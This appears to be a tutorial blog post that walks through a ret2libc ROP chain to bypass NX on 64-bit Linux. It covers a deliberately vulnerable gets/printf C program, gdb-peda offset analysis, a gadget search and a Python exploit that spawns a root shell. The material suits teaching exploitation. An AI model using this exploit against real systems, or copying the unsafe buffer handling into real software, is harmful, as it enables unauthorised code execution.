In this article, we’re going to be looking at a simple way of bypassing NX on a 64-bit Kali Linux system. NX (aka DEP) prevents code from executing from stack or heap memory.
The primary difference between doing this on a 64-bit system, as opposed to a 32-bit system is called functions will require their parameters to be populated in registers, instead of being placed on the stack.
The below sample code will be exploited;
1 2 3 4 5 6 7 8 9 | #include <string.h> #include <unistd.h> #include <stdio.h> int main (int argc, char **argv){ char buf [40]; gets(buf); printf(buf); } |
Compile with:
1 | gcc -no-pie -fno-stack-protector nx_bypass.c -o nx_bypass |
Disable ASLR:
1 | echo 0 > /proc/sys/kernel/randomize_va_space |
Analysing the Crash
Let’s start by determining which offsets overwrites interesting registers:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | root@kali:~/ROP# gdb -q ./nx_bypass Reading symbols from ./nx_bypass... (No debugging symbols found in ./nx_bypass) gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ pattern create 500 pattern.txt Writing pattern of 500 chars to filename "pattern.txt" gdb-peda$ run < pattern.txt Starting program: /root/ROP/nx_bypass < pattern.txt Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x0 RDX: 0x0 RSI: 0x0 RDI: 0x1ff RBP: 0x4147414131414162 ('bAA1AAGA') RSP: 0x7fffffffe0f8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"...) RIP: 0x401169 (<main+55>: ret) R8 : 0x1fff R9 : 0xffffffff R10: 0x7fffffffd028 --> 0x7fffffffd01c --> 0x1000f7fa9a00 R11: 0x6 R12: 0x401050 (<_start>: xor ebp,ebp) R13: 0x7fffffffe1d0 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3"...) R14: 0x0 R15: 0x0 EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40115e <main+44>: call 0x401030 <printf@plt> 0x401163 <main+49>: mov eax,0x0 0x401168 <main+54>: leave => 0x401169 <main+55>: ret 0x40116a: nop WORD PTR [rax+rax*1+0x0] 0x401170 <__libc_csu_init>: push r15 0x401172 <__libc_csu_init+2>: lea r15,[rip+0x2c97] # 0x403e10 0x401179 <__libc_csu_init+9>: push r14 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe0f8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"...) 0008| 0x7fffffffe100 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%"...) 0016| 0x7fffffffe108 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A"...) 0024| 0x7fffffffe110 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4"...) 0032| 0x7fffffffe118 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%"...) 0040| 0x7fffffffe120 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA"...) 0048| 0x7fffffffe128 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...) 0056| 0x7fffffffe130 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%"...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000401169 in main () gdb-peda$ pattern search Registers contain pattern buffer: RBP+0 found at offset: 48 R9+52 found at offset: 69 Registers point to pattern buffer: [RSP] --> offset 56 - size ~203 [R13] --> offset 272 - size ~203 |
We can see the RBP (stack base pointer) register is overwritten after 48 bytes. On 64-bit systems, the instruction pointer (RIP) will only be overwritten if the address it points to is valid. As such, our random pattern will not overwrite it. However, we know RIP will be 8 bytes from RBP, so the correct offset is 56.
Locating Useful Gadgets
We’re going to go attempt to execute the system function from libc. Let’s find the addresses of the “system” function, in addition to a string reference to “/bin/sh”
1 2 3 4 5 6 | gdb-peda$ p system $1 = {int (const char *)} 0x7ffff7e36ff0 <__libc_system> gdb-peda$ find /bin/sh Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0x7ffff7f73cee --> 0x68732f6e69622f ('/bin/sh') |
Finally, as previously discussed we need need to ensure the function (in this case “system”) is loaded into the RDI register. Using the “ropper” application, we can find a suitable instruction in the binary:
1 2 3 4 5 6 7 8 | ropper --file ./nx_bypass --search "pop rdi; ret" [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rdi; ret [INFO] File: ./nx_bypass 0x00000000004011cb: pop rdi; ret; |
The Exploit
With the necessary information collected, we can now write the exploit:
1 2 3 4 5 6 7 8 | from struct import * buf = "" buf += "A"*56 buf += pack("<Q", 0x00000000004011cb) # pop rdi; ret; buf += pack("<Q", 0x7ffff7f73cee) # pointer to "/bin/sh" buf += pack("<Q", 0x7ffff7e36ff0) # address of system() f = open("payload.txt", "w") f.write(buf) |
We can now run the payload to achieve command execution:
1 2 3 | (cat payload.txt; cat) | ./nx_bypass id uid=0(root) gid=0(root) groups=0(root) |
The use of “cat” command twice is necessary to prevent the application from exiting before user input is accepted.